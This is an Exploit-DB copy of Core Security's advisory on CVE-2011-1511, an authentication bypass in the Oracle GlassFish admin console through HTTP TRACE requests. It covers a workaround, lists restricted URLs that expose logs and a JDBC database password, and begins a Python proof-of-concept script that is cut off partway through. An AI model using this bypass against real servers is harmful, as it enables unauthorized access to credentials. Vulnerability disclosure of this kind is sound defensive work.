Exploit-DB #17276
Description: Oracle GlassFish Server - Administration Console Authentication Bypass
Type: webapps
Platform: windows
Date: 2011-05-12
Author: Core Security

Exploit:
Oracle GlassFish Server Administration Console Authentication Bypass

1. Advisory Information

Title: Oracle GlassFish Server Administration Console Authentication Bypass
Advisory ID: CORE-2010-1118
Advisory URL: http://www.coresecurity.com/content/glassfish_admin_authentication_bypass
Date published: 2011-05-11
Date of last update: 2011-05-11
Vendors contacted: Oracle
Release mode: User release

2. Vulnerability Information

Class: Authentication Bypass Issues [CWE-592]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2011-1511

3. Vulnerability Description

Built using the GlassFish Server Open Source Edition, Oracle GlassFish Server delivers a flexible, lightweight and extensible Java EE 6 platform. It provides a small footprint, fully featured Java EE application server that is completely supported for commercial deployment and is available as a standalone offering.

The Administration Console of Oracle GlassFish Server, which is listening by default on port 4848/TCP, is prone to an authentication bypass vulnerability. This vulnerability can be exploited by remote attackers to access sensitive data on the server without being authenticated, by making TRACE requests against the Administration Console.

4. Vulnerable packages

    Oracle GlassFish Server 3.0.1
    Sun GlassFish Enterprise Server 2.1.1

5. Non-vulnerable packages

    Oracle GlassFish Server 3.1
    Contact Oracle for patches for other GlassFish versions

6. Vendor Information, Solutions and Workarounds

Oracle notifies that GlassFish Server 3.1 was released in March 2011 and was fixed before release, so it is not affected. Oracle also notifies that patches for previous versions will be available in July, 2011. As a policy, Oracle does not provide workarounds unless they can be easily applied by every customer.

6.1. Workaround by Core Security

For users who cannot upgrade to the latest patched version, the following workaround can be applied in order to avoid this flaw:

    In the GlassFish Admin Console, go to the Tasks tree.
    Navigate through: Network Config > Protocols > admin-listener > HTTP.
    There is a checkbox "Trace: Enable TRACE operation" (checked by default); uncheck it and then save changes.
    Finally, restart GlassFish by doing C:\glassfishv3\bin>asadmin restart-domain

After following these steps, when executing the PoC included in this advisory, the webserver should respond:

405 TRACE method is not allowed headers = [('date', 'Thu, 28 Apr 2011 20:39:43 GMT'), ('content-length', '0'), ('connection', 'close'), ('allow', 'GET, HEAD, POST'), ('x-powered-by', 'Servlet/3.0')] [+ full code]

7. Credits

This vulnerability was discovered and researched by Francisco Falcon from Core Security Technologies.

8. Technical Description / Proof of Concept Code

8.1. Introduction

Built using the GlassFish Server Open Source Edition, Oracle GlassFish Server [1] delivers a flexible, lightweight and extensible Java EE 6 platform. It provides a small footprint, fully featured Java EE application server that is completely supported for commercial deployment and is available as a standalone offering.

The Administration Console of Oracle GlassFish Server, which is listening by default on port 4848/TCP, is prone to an authentication bypass vulnerability. This vulnerability can be exploited by remote attackers to access sensitive data on the server without being authenticated, by making TRACE requests against the Administration Console.

8.2. Authentication Bypass

[CVE-2011-1511] By default, when GlassFish Server starts, it runs an HTTP listener named admin-listener, associated with the __asadmin virtual server. This administrative server, which is accessed by the Administration Console, has the HTTP TRACE verb enabled by default. This can be configured from the Network Config > Protocols > admin-listener > HTTP tab.

By performing HTTP requests against the GlassFish Administration Console using the TRACE method, a remote, unauthenticated attacker can get access to the content of restricted pages in the Administration Console, because GlassFish Server will behave as if it were handling GET requests from authenticated users.

It is important to note that the response of GlassFish Server to a TRACE request includes the full content of the requested resource in the response body, as in a GET request; according to RFC 2616 (Hypertext Transfer Protocol -- HTTP/1.1), section 9.8 [2], the response SHOULD reflect the original request to the client in the response body.

The vulnerability described above allows attackers to access the content of the following pages without being authenticated:

    Log Viewer: http://<GlassFish_IP>:4848/common/logViewer/logViewer.jsf
    Information about the Java Virtual Machine installed on the server: http://<GlassFish_IP>:4848/common/appServer/jvmReport.jsf
    Installed components: http://<GlassFish_IP>:4848/updateCenter/installed.jsf
    Properties of an existing JDBC connection pool, including DB password: http://<GlassFish_IP>:4848/jdbc/jdbcConnectionPoolProperty.jsf?name=DerbyPool

The following Python code is a Proof-of-Concept of the vulnerability; it will retrieve the content of the Log Viewer effectively bypassing the authentication:
#Usage: $ python poc.py <GlassFish_IP> <Administration_Port> #E.g: $ python poc.py 192.168.0.1 4848

import sys
import httplib

def make_trace_request(host, port, selector):

    print '[*] TRACE request: %s' % selector
    headers = { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1; Trident/4.0)',
                'Host': '%s:%s' % (host, port),
                'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'en-us,en;q=0.5',
                'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
                'Accept-Encoding': 'gzip,def